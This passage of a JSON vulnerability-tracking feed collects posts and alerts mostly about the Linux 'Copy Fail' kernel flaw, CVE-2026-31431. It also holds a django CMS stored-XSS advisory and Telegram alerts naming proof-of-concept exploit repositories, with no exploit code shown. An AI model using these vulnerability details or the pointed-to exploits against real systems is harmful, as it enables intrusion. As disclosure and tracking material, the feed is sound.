CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a songzzzz\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-28 13:54:09\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\naarch64 and x64 python POC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-28T14:00:05.000000Z"}, {"uuid": "f6a08036-bc72-4a46-8e0d-6f97b31825ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ostechnix.bsky.social/post/3mmwcniamb226", "content": "Docker Engine v29.4.3 mitigates the critical Copy Fail (CVE-2026-31431) vulnerability. Update immediately if you cannot patch your Linux kernel yet.\n\nMore details here: ostechnix.com/docker-copy-... \n\n#Docker #Copyfail #CVE202631431 #Pagecache #Linuxkernel", "creation_timestamp": "2026-05-28T15:12:15.181034Z"}, {"uuid": "c430dfcc-f78f-46ea-a2fc-09f0923cff90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/brideoflinux.bsky.social/post/3mmwpfgnkfz2n", "content": "Update immediately if you cannot patch your Linux kernel yet: Docker Releases Mitigation for Copy Fail (CVE-2026-31431) - OSTechNix buff.ly/9AsU1IY", "creation_timestamp": "2026-05-28T19:00:18.611348Z"}, {"uuid": "abd5ec9f-401c-4aa1-9026-70f20f14f636", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/97076", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a linux-kernel-algif-aead-checker\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ridhinva\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-07 20:38:51\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nScanner: CVE-2026-31431 Linux kernel algif_aead Copy Fail vulnerability checker \u2014 Python PoC for heap overflow path\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-08T01:00:04.084878Z"}, {"uuid": "915522fa-c2d5-4ab9-9cca-71c2e5bbef03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mmxcycfgq772", "content": "From Exploit Code to Production Detection: Building a CVE-2026-31431 (Copy Fail) detection with Agents CVE-2026-31431 (Copy Fail) lets any unprivileged user corrupt the Linux page cache via AF_ALG ...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-29T00:50:54.194886Z"}, {"uuid": "fb48adb7-4ddd-4e65-a8cc-955d2d13441c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/governa.lol/post/3mmxidifpo225", "content": "#Docker Releases Mitigation for Copy Fail (CVE-2026-31431)\n\nostechnix.com/docker-copy-...", "creation_timestamp": "2026-05-29T02:26:37.187874Z"}, {"uuid": "ac54c31e-5584-4915-b27d-ec4d0febc881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/cyberresearch.bsky.social/post/3mmxkfqefay2k", "content": "Originally from DataDog: From Exploit Code to Production Detection: Building a CVE-2026-31431 (Copy Fail) detection with Agents ( :-{\u0131\u2593 #cloudsecurity #datadog #cyberresearch", "creation_timestamp": "2026-05-29T03:03:39.984880Z"}, {"uuid": "6845b0cc-d288-45c6-aee7-da32899795e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3144", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3msd44mf63c2y", "content": "\u300cIBM API Connect\u300d\u306b\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8 - \u4f9d\u5b58\u95a2\u4fc2\u542b\u3080\u591a\u6570\u8106\u5f31\u6027\u3092\u89e3\u6d88\n\nIBM\u306f\u73fe\u5730\u6642\u95932026\u5e747\u67087\u65e5\u3001API\u7ba1\u7406\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u300cIBM API Connect\u300d\u306b\u95a2\u3059\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u305f\u3002\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u5f37\u304f\u63a8\u5968\u3057\u3066\u3044\u308b\u3002\n\n...\n\n\u540c\u88fd\u54c1\u56fa\u6709\u306e\u8106\u5f31\u6027\u3068\u3057\u3066\u306f\u3001\u30d1\u30b9\u30ef\u30fc\u30c9\u30ea\u30bb\u30c3\u30c8\u6a5f\u80fd\u306b\u8a8d\u8a3c\u3092\u5fc5\u8981\u3068\u3057\u306a\u3044SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u300cCVE-2026-9074\u300d\u3084\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u8a2d\u5b9a\u3055\u308c\u305f\u8a8d\u8a3c\u60c5\u5831\u3092\u5229\u7528\u3059\u308b\u300cCVE-2026-3144\u300d\u304c\u5224\u660e\u3057\u3001\u4fee\u6b63\u3092\u884c\u3063\u305f\u3002", "creation_timestamp": "2026-08-05T08:25:56.684823Z"}, {"uuid": "6fabbace-effa-4722-b2bc-7d5e4391a3cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31386", "type": "seen", "source": "https://bsky.app/profile/secqube.com/post/3mtiwwb3w5v2u", "content": "CVE-2026-31386 - LiteSpeed Technologies OpenLiteSpeed and LSWS Enterprise OS Command Injection Vulnerability scq.ms/4s71ole", "creation_timestamp": "2026-08-20T09:34:04.065230Z"}, {"uuid": "90f28e6b-0799-4ad9-b9b7-cd283bbac87b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/kasperskyb2b/2293", "content": "\ud83d\ude1e \u0418\u0418 \u043f\u043b\u043e\u0445\u043e \u0447\u0438\u043d\u0438\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\n\u0425\u043e\u0442\u044f \u0418\u0418 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u0441\u043a\u043e\u0440\u0438\u043b \u043f\u043e\u0438\u0441\u043a \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0441 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c LLM \u0434\u043b\u044f \u0438\u0445 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043d\u0435 \u0432\u0441\u0451 \u0442\u0430\u043a \u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u043a\u043e\u0440\u043c\u0438\u043b\u0438 \u0434\u0432\u0443\u043c \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u043c \u043c\u043e\u0434\u0435\u043b\u044f\u043c \u0448\u0435\u0441\u0442\u044c \u0441\u0432\u0435\u0436\u0438\u0445 \u0438 \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u0438 CVE  \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u044b \u043f\u043e\u0447\u0442\u0438 \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u0437\u043d\u0430\u0435\u0442\u0435: CVE-2026-31431 (CopyFail), CVE-2026-34197 (RCE \u0432 ActiveMQ), CVE-2026-45185 (DeadLetter, RCE \u0432 EXIM) \u0438 \u0434\u0440. \u0417\u0430\u0442\u0435\u043c \u0434\u043b\u044f \u043d\u0438\u0445 \u043f\u043e\u043f\u044b\u0442\u0430\u043b\u0438\u0441\u044c \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0430\u0442\u0447\u0438 \u2014 6080 (!) \u0440\u0430\u0437.\n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b:\n\ud83e\udd73 26% \u2014 \u043f\u0430\u0442\u0447 \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043d\u0435 \u043c\u0435\u043d\u044f\u044f \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f;\n\ud83e\udd28 20% \u2014 \u043f\u0430\u0442\u0447 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043d\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u043c\u0435\u043d\u044f\u044f \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0443 \u0441 allow by default \u043d\u0430 deny);\n\ud83d\uddff \u0432 \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0445\u0441\u044f ~53% \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u043f\u0430\u0442\u0447 \u043b\u0438\u0431\u043e \u043d\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043b\u0438\u0431\u043e \u0432\u043d\u043e\u0441\u0438\u043b \u043d\u043e\u0432\u0443\u044e, \u043b\u0438\u0431\u043e \u0438 \u0442\u043e, \u0438 \u0434\u0440\u0443\u0433\u043e\u0435 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u0446\u0438\u043a\u043b \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430 \u043d\u0430 GPT 5.5 \u0438 Opus 4.8 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 2-3 \u0434\u043e\u043b\u043b\u0430\u0440\u0430, \u0431\u0435\u0437 \u0443\u0447\u0451\u0442\u0430 \u0442\u043e\u0433\u043e \u043d\u044e\u0430\u043d\u0441\u0430, \u0447\u0442\u043e \u043f\u043e\u043f\u044b\u0442\u043a\u0443 \u043d\u0430\u0434\u043e \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0442\u044c \u043c\u043d\u043e\u0433\u043e\u043a\u0440\u0430\u0442\u043d\u043e, \u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043a\u0432\u0430\u043b\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440.\n\n\u0412 \u043e\u0442\u0447\u0451\u0442\u0435 \u0435\u0441\u0442\u044c \u0437\u0430\u0431\u0430\u0432\u043d\u044b\u0439 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0410\u043d\u0442\u0440\u043e\u043f\u0438\u043a\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043a \u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u043f\u0430\u0442\u0447\u0438 \u043d\u0443\u0436\u043d\u043e \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435. \u0412\u0440\u043e\u0434\u0435 \u0438 \u043d\u0435 \u043f\u043e\u0441\u043f\u043e\u0440\u0438\u0448\u044c, \u043d\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u044d\u0442\u043e\u0433\u043e \u0433\u043b\u0443\u0431\u043e\u043a\u043e \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0430 \u0445\u043e\u0440\u043e\u0448\u043e \u0432\u0438\u0434\u043d\u044b \u043a\u0430\u0436\u0434\u044b\u0439 \u0432\u0442\u043e\u0440\u043e\u0439 \u0432\u0442\u043e\u0440\u043d\u0438\u043a \u043c\u0435\u0441\u044f\u0446\u0430, \u0430 \u0432\u0435\u0440\u043d\u0435\u0435 \u0441\u043f\u0443\u0441\u0442\u044f 2-3 \u0434\u043d\u044f \u043f\u043e\u0441\u043b\u0435 \u043d\u0435\u0433\u043e. \u041d\u0443 \u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0432 \u0434\u043d\u0438, \u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 GitHub. \n\n#\u043d\u043e\u0432\u043e\u0441\u0442\u0438 @\u041f2\u0422", "creation_timestamp": "2026-08-20T10:00:04.057013Z"}, {"uuid": "1b77865a-f68b-4788-836f-843051ef07b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://bsky.app/profile/cybercod.bsky.social/post/3mmyotdyhqh2x", "content": "Great find! CVE-2026-3102 is a critical reminder of why input validation for metadata is so important. Always keep your tools updated to mitigate these injection risks. Stay secure! \ud83d\udee1\ufe0f", "creation_timestamp": "2026-05-29T13:55:32.198818Z"}, {"uuid": "04455175-6f7c-45df-af05-7299fd63674b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mmyu5aiozs23", "content": "CVE-2026-31431, "Copy Fail," is a high-severity Linux kernel flaw allowing local users to corrupt page cache via AF_ALG sockets. CISA added it to KEV after real-world exploitation. #CopyFail #CISA #Linux", "creation_timestamp": "2026-05-29T15:30:32.120630Z"}, {"uuid": "7c6697a9-9812-4544-9903-cfc334729a0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mmyzrqlgzw2n", "content": "CVE-2026-31431 \u201cCopy Fail\u201d Exposes Linux Kernel to Active Exploitation as CISA Flags Real-World Attacks and BlackSuit-Linked Intrusions\u00a0Expand\n\nCritical Linux Kernel Flaw Turns Into a Real-World Exploitation Tool Across Enterprise Environments CVE-2026-31431, internally tracked and now widely\u2026", "creation_timestamp": "2026-05-29T17:11:28.597723Z"}, {"uuid": "716a0e07-a8b7-480b-9c52-76d301a7c95f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/chrisshort.net/post/3mmz2y4aqse2s", "content": "Mitigating CVE-2026-31431 (\"Copy Fail\") in Docker Engine #devopsish www.docker.com/blog/...", "creation_timestamp": "2026-05-29T17:32:55.502309Z"}, {"uuid": "5845f7f0-c919-4bad-a3e0-adbf8037a6e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://hachyderm.io/users/ChrisShort/statuses/116659059292077003", "content": "Mitigating CVE-2026-31431 (\"Copy Fail\") in Docker Engine #devopsish https://www.docker.com/blog/mitigating-cve-2026-31431-copy-fail-in-docker-engine/", "creation_timestamp": "2026-05-29T17:33:00.193154Z"}, {"uuid": "e0e27a05-d828-43a1-80ba-c4f6cb627688", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31039", "type": "seen", "source": "https://gist.github.com/xssportswiger-design/a7efbd108ca49004899a8cdd8019d7ac", "content": "# CVE-2026-31039: Stored XSS in django CMS 3.11.10\n\n## Description\nIn django CMS version 3.11.10, an authenticated user with editor or admin privileges can inject malicious HTML/JavaScript code into plugin content. The content is rendered using the `mark_safe()` function without proper sanitization, leading to stored cross-site scripting (XSS) when a victim visits the affected page.\n\n## Vulnerability Type\nCross Site Scripting (XSS)\n\n## Vendor\ndjango CMS Association\n\n## Affected Product\ndjango CMS\n\n## Affected Version\n3.11.10\n\n## Affected Component\n- `cms/plugin_processors.py`\n- `plugin_meta_context_processor`\n- `mark_safe(rendered_content)`\n\n## Attack Vector\nAn authenticated user (editor or admin) injects malicious JavaScript into plugin content. The content is rendered unsafely with `mark_safe()`, executing in any victim's browser.\n\n## Impact\n- Code execution (JavaScript)\n- Information disclosure (session hijacking, cookie theft)\n- Unauthorized actions on behalf of the victim\n\n## Discoverer\nShaxriyor Abdullayev\n\n## References\n- https://github.com/django-cms/django-cms\n- https://github.com/django-cms/django-cms/blob/3.11.10/cms/plugin_processors.py\n\n## Suggested Fix\nReplace `mark_safe()` with proper HTML escaping or use a sanitizer like `bleach` before rendering user-controlled content.", "creation_timestamp": "2026-05-29T18:52:38.000000Z"}, {"uuid": "8d78c887-0d08-4ab5-90b4-be959128d941", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmzdugacos2c", "content": "5/ \u26a0\ufe0f CVE-2026-31431 'Copy Fail' \u2014 Linux kernel privilege escalation affecting ALL major distros (Ubuntu, RHEL, Debian, Arch) on kernels since 2017. CVSS 7.8. If you run Linux servers, patch this weekend.", "creation_timestamp": "2026-05-29T20:11:57.756109Z"}, {"uuid": "fb427a37-1ad4-487a-b3be-1cc982803eb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmzdug7vyk2c", "content": "5/ \u26a0\ufe0f CVE-2026-31431 'Copy Fail' \u2014 Linux kernel privilege escalation affecting ALL major distros (Ubuntu, RHEL, Debian, Arch) on kernels since 2017. CVSS 7.8. If you run Linux servers, patch this weekend.", "creation_timestamp": "2026-05-29T20:11:55.672867Z"}, {"uuid": "f0ca27f5-1b03-4f58-a0fa-3b0eda88a379", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmzduga6rs2c", "content": "5/ \u26a0\ufe0f CVE-2026-31431 'Copy Fail' \u2014 Linux kernel privilege escalation affecting ALL major distros (Ubuntu, RHEL, Debian, Arch) on kernels since 2017. CVSS 7.8. If you run Linux servers, patch this weekend.", "creation_timestamp": "2026-05-29T20:11:56.179945Z"}, {"uuid": "d23d4af9-cc39-443d-9de2-4bd41583f28e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmzdugaaqc2c", "content": "5/ \u26a0\ufe0f CVE-2026-31431 'Copy Fail' \u2014 Linux kernel privilege escalation affecting ALL major distros (Ubuntu, RHEL, Debian, Arch) on kernels since 2017. CVSS 7.8. If you run Linux servers, patch this weekend.", "creation_timestamp": "2026-05-29T20:11:56.693231Z"}, {"uuid": "086c42a1-7f23-4703-a321-6f902ea0fab0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmzdugabpk2c", "content": "5/ \u26a0\ufe0f CVE-2026-31431 'Copy Fail' \u2014 Linux kernel privilege escalation affecting ALL major distros (Ubuntu, RHEL, Debian, Arch) on kernels since 2017. CVSS 7.8. If you run Linux servers, patch this weekend.", "creation_timestamp": "2026-05-29T20:11:57.227236Z"}, {"uuid": "a9520312-be6d-4cf4-8917-8ff03115ce9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmzdugado22c", "content": "5/ \u26a0\ufe0f CVE-2026-31431 'Copy Fail' \u2014 Linux kernel privilege escalation affecting ALL major distros (Ubuntu, RHEL, Debian, Arch) on kernels since 2017. CVSS 7.8. If you run Linux servers, patch this weekend.", "creation_timestamp": "2026-05-29T20:11:58.275980Z"}, {"uuid": "f11c1c52-413d-4aeb-925c-b8f9c13fc74b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmzdugaenc2c", "content": "5/ \u26a0\ufe0f CVE-2026-31431 'Copy Fail' \u2014 Linux kernel privilege escalation affecting ALL major distros (Ubuntu, RHEL, Debian, Arch) on kernels since 2017. CVSS 7.8. If you run Linux servers, patch this weekend.", "creation_timestamp": "2026-05-29T20:11:58.812657Z"}, {"uuid": "055078bd-15e7-49f0-acba-b5bc504dd1f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmzdugafmk2c", "content": "5/ \u26a0\ufe0f CVE-2026-31431 'Copy Fail' \u2014 Linux kernel privilege escalation affecting ALL major distros (Ubuntu, RHEL, Debian, Arch) on kernels since 2017. CVSS 7.8. If you run Linux servers, patch this weekend.", "creation_timestamp": "2026-05-29T20:12:29.781208Z"}, {"uuid": "a98c74a5-cb8e-4a73-b0f5-765479877cdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmzdugafml2c", "content": "5/ \u26a0\ufe0f CVE-2026-31431 'Copy Fail' \u2014 Linux kernel privilege escalation affecting ALL major distros (Ubuntu, RHEL, Debian, Arch) on kernels since 2017. CVSS 7.8. If you run Linux servers, patch this weekend.", "creation_timestamp": "2026-05-29T20:12:30.508270Z"}, {"uuid": "cf43528d-0912-4821-a8cf-becb77d6ad84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mmzyyyywj42g", "content": "Top 3 CVE for last 7 days:\nCVE-2026-48095: 19 interactions\nCVE-2026-69: 19 interactions\nCVE-2026-26980: 16 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-31431: 6 interactions\nCVE-2026-48095: 6 interactions\nCVE-2026-39987: 4 interactions\n", "creation_timestamp": "2026-05-30T02:30:18.089399Z"}, {"uuid": "3e75dafb-54d3-45de-8c7f-29c007a1599e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3172", "type": "seen", "source": "https://bsky.app/profile/pgexperts.bsky.social/post/3mn3bfexhih25", "content": "pgvector 0.8.2 patches CVE-2026-3172. Integer underflow in parallel HNSW index build. An authenticated DB user can leak data from other relations or crash the backend. CVSS 8.1. Affects 0.6.0 through 0.8.1.\n\nwww.postgresql.org/about/news/p...\n\nWe patch and validate vector workloads at pgexperts.com.", "creation_timestamp": "2026-05-30T14:33:03.072854Z"}, {"uuid": "6d7e806a-1b2d-48ba-aeb3-e6735b849b3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/86564", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-EXPLOIT\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a K3ysTr0K3R\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-30 15:53:05\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-30T16:00:03.000000Z"}, {"uuid": "08950619-254f-4be3-8527-a8f365a00056", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31909", "type": "seen", "source": "https://bsky.app/profile/keiwork35.bsky.social/post/3mn5g24uhcb2u", "content": "\u3010\u8106\u5f31\u6027\u60c5\u5831\u3011 CVE-2026-31909 Apache\u00a0OFBiz\u306e\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\n\nApache OFBiz\u306b\u304a\u3051\u308b\u672a\u627f\u8a8d\u306e\u30a2\u30af\u30bf\u30fc\u3078\u306e\u6a5f\u5bc6\u60c5\u5831\u306e\u9732\u51fa\u306b\u95a2\u3059\u308b\u8106\u5f31\u6027\u3067\u3059\u3002\u3053\u306e\u554f\u984c\u306f\u3001\u30d0\u30fc\u30b8\u30e7\u30f324.09.06\u4ee5\u524d\u306eApache OFBiz\u306b\u5f71\u97ff\u3092\u53ca\u307c\u3057\u307e\u3059\u3002", "creation_timestamp": 